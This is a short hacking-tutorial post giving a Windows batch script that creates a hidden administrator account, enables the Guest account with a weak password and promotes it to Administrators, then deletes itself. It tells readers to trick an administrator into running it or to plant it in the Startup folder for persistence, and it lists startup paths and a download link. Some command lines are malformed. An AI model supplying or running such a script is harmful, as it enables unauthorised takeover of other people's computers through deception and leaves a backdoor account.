Hack admin account in windows

CODE:
echo off
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Download the batch file and edit it.Change Username and Password to your desired ones.

You could try to trick the administrator to run the batch file with system privileges or try copying the batch file in the startup folder.The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using your username and password.

C:\Documents and Settings\All Users\Start Menu\Programs\Startup ===> [XP]

all users
C:\ProgramData\Microsoft\Windows\Start Menu ====> [Vista and Windows7]

Download batch file here:

http://www.mediafire.com/?mjjxtzethvm